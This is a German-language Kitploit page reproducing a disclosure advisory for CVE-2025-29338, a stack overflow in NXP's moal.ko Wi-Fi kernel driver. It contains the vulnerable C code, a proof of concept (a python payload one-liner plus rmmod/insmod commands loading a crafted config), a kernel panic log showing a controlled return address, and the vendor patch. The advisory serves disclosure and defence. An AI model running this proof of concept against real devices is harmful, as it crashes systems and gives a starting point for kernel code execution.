Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-29338 | Kitploit
Tools/GitHubGitHub/masjadaan/cve-2025-29338
Embedded-System-SicherheitSchwachstellenanalyseExploitationHardware-SicherheitBinary-Exploitation
GitHubmasjadaan/cve-2025-29338

CVE-2025-29338

Repository anzeigen
3vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-29338 — Sicherheitshinweis

Pufferüberlauf im NXP-moal.ko-Wi-Fi-Kerneltreiber (woal_setup_module_param / parse_cfg_get_line)

FeldWert
CVE-IDCVE-2025-29338
SchweregradHoch
CVSS-v3.1-Score7.8
CVSS-v3.1-VektorCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
SchwachstellentypStack-basierter Pufferüberlauf (CWE-121)
AngriffsvektorLokal
HerstellerNXP Semiconductors
Patch-Status des HerstellersBehoben
EntdeckerMahmoud Jadaan — diconium auto GmbH

Zusammenfassung

Eine Stack-basierte Pufferüberlauf-Schwachstelle besteht im NXP-moal.ko-Wi-Fi-Kerneltreiber (Version 5.1.7.10) über die Firmware-Builds v17.92.1.p149.43 bis v17.92.1.p149.157. Die Schwachstelle befindet sich in parse_cfg_get_line (mlinux/moal_init.c), aufgerufen von woal_setup_module_param. Die while-Schleife, die Zeilen der Konfigurationsdatei in einen Stack-Puffer fester Größe einliest, verfügt über keine Grenzprüfung des Zielpuffers, sodass eine Zeile beliebiger Länge den Puffer überlaufen lassen, den Stack beschädigen und einen Kernel-Panic auslösen kann. NXP PSIRT hat die Schwachstelle bestätigt und der Fix wurde veröffentlicht.


Betroffene Produkte


Details zur Schwachstelle

Ursache

woal_setup_module_param reserviert einen Stack-Puffer fester Größe von MAX_LINE_LEN Bytes und übergibt ihn bei jeder Iteration an parse_cfg_get_line, während die über mod_para angegebene Konfigurationsdatei verarbeitet wird:

root@kitploit:~
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // process line
}

In der anfälligen Revision von parse_cfg_get_line prüft die Bedingung der while-Schleife nur die Quellposition und die Zeilenabschlusszeichen — es gibt keine Prüfung, wie viele Bytes in den Zielpuffer geschrieben wurden:

root@kitploit:~
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // unchecked write — no dest bounds check
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

Eine Zeile der Konfigurationsdatei, die länger als MAX_LINE_LEN Bytes ist, führt dazu, dass dest über das Ende des Stack-Puffers des Aufrufers hinausläuft und angrenzenden Stack-Speicher überschreibt, einschließlich des gespeicherten Frame-Pointers und der Rücksprungadresse.


Angriffsvektor

Der Treiber wird beim Systemstart mit insmod geladen, wobei der Parameter mod_para auf eine Konfigurationsdatei zeigt. Ein Angreifer, der eine präparierte Konfigurationsdatei schreiben und das Kernelmodul neu laden kann, kann den Überlauf auslösen.


Auswirkungen

AuswirkungBeschreibung
Denial-of-ServiceKernel-Panic — bestätigt; verursacht sofortigen Systemneustart
Kernel-SpeicherbeschädigungStack-Smashing überschreibt das gespeicherte und die Rücksprungadresse

CVSS-v3.1-Aufschlüsselung

Basis-Score: 7.8 (Hoch) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


Proof of Concept

Nur zu Verteidigungs- und Forschungszwecken bereitgestellt.

Schritt 1 — Vorhandene Module entladen

root@kitploit:~
#!/bin/sh
rmmod moal
rmmod mlan

Schritt 2 — Die schädliche Konfigurationsdatei erstellen

Der Stack-Puffer wird mit As gefüllt, gefolgt von 8 Bytes für den Stack-Canary-Slot (Bs), 8 Bytes für das gespeicherte rbp (Cs) und 8 Bytes zum Überschreiben der Rücksprungadresse (Ds):

root@kitploit:~
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

Schritt 3 — Das Modul mit der präparierten Konfiguration laden

Der mod_para-Pfad muss relativ zu dem Verzeichnis sein, in dem der Kernel nach Firmware sucht (typischerweise /lib/firmware/). Erstellen Sie den Pfad entsprechend:

root@kitploit:~
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

Schritt 4 — Beobachtetes Ergebnis

Während der Modulinitialisierung wird sofort ein Kernel-Panic ausgelöst. Die Kernel-Logs bestätigen, dass die Rücksprungadresse mit 0x4444444444444444 (ASCII DDDDDDDD) überschrieben wird, was die vollständige Kontrolle über den Instruction-Pointer demonstriert:

root@kitploit:~
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- controlled return address

Patch des Herstellers

NXP PSIRT hat die Schwachstelle bestätigt und den folgenden Patch für mlinux/moal_init.c bereitgestellt. Der Fix fügt innerhalb der parse_cfg_get_line-Schleife eine Grenzprüfung hinzu, um vor dem Überschreiten von MAX_LINE_LEN auszubrechen:

root@kitploit:~
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

Gegenmaßnahmen

Aktualisieren Sie auf eine Firmware-Version jenseits von v17.92.1.p149.157, die den obigen Patch enthält. Zur zusätzlichen Härtung:

  1. Module laden einschränken — CAP_SYS_MODULE auf vertrauenswürdige Administratoren begrenzen; init_module-/finit_module-Syscall-Einschränkungen über SELinux, AppArmor oder seccomp durchsetzen.
  2. Pfade der Konfigurationsdateien schützen — sicherstellen, dass der von mod_para referenzierte Pfad und die darin enthaltenen Dateien nur von root beschreibbar sind.

Referenzen

  • NXP-mwifiex-Treiber (GPL): https://github.com/nxp-imx/mwifiex
  • NXP-Versionshinweise: https://www.nxp.com/docs/en/release-note/RN00104.pdf

Status des Herstellers

NXP PSIRT hat die Schwachstelle bestätigt. Der Fix wurde als Teil eines offiziellen Software-Updates veröffentlicht.


Danksagungen

Entdecker: Mahmoud Jadaan — diconium auto GmbH


Dieser Sicherheitshinweis wird als öffentliche Referenz veröffentlicht, um die Mindestanforderungen zur CVE-Offenlegung gemäß dem CVE-Programm zu erfüllen.

Tool herunterladen
FeldDetail
HerstellerNXP Semiconductors
Komponentemoal.ko-Wi-Fi-Kerneltreiber
Treiberversion5.1.7.10
Firmware — Erstmals betroffenv17.92.1.p149.43
Firmware — Zuletzt betroffenv17.92.1.p149.157
AttributWert
TypLokal
Erforderliche PrivilegienCAP_SYS_MODULE (root oder gleichwertig)
BenutzerinteraktionKeine
AngriffsflächeParameter mod_para des Kernelmoduls (Pfad zur Konfigurationsdatei)
rbp
Potenzielle CodeausführungRücksprungadresse kontrolliert — arbiträre Codeausführung im Kernel-Modus kann je nach vorhandenen Schutzmaßnahmen (Stack-Canary, KASLR usw.) möglich sein
MetrikWertBegründung
Angriffsvektor (AV)Lokal (L)Erfordert lokalen Systemzugriff
Angriffskomplexität (AC)Niedrig (L)Keine Wettlaufbedingungen oder komplexen Voraussetzungen
Erforderliche Privilegien (PR)Hoch (H)Erfordert CAP_SYS_MODULE / root
Benutzerinteraktion (UI)Keine (N)Vollständig vom Angreifer kontrolliert
Scope (S)Unverändert (U)Die Auswirkung bleibt auf den Kernel-Kontext beschränkt
Vertraulichkeit (C)Hoch (H)Kernel-Speicher potenziell lesbar
Integrität (I)Hoch (H)Überschreiben der Rücksprungadresse nachgewiesen
Verfügbarkeit (A)Hoch (H)Kernel-Panic / Neustart bestätigt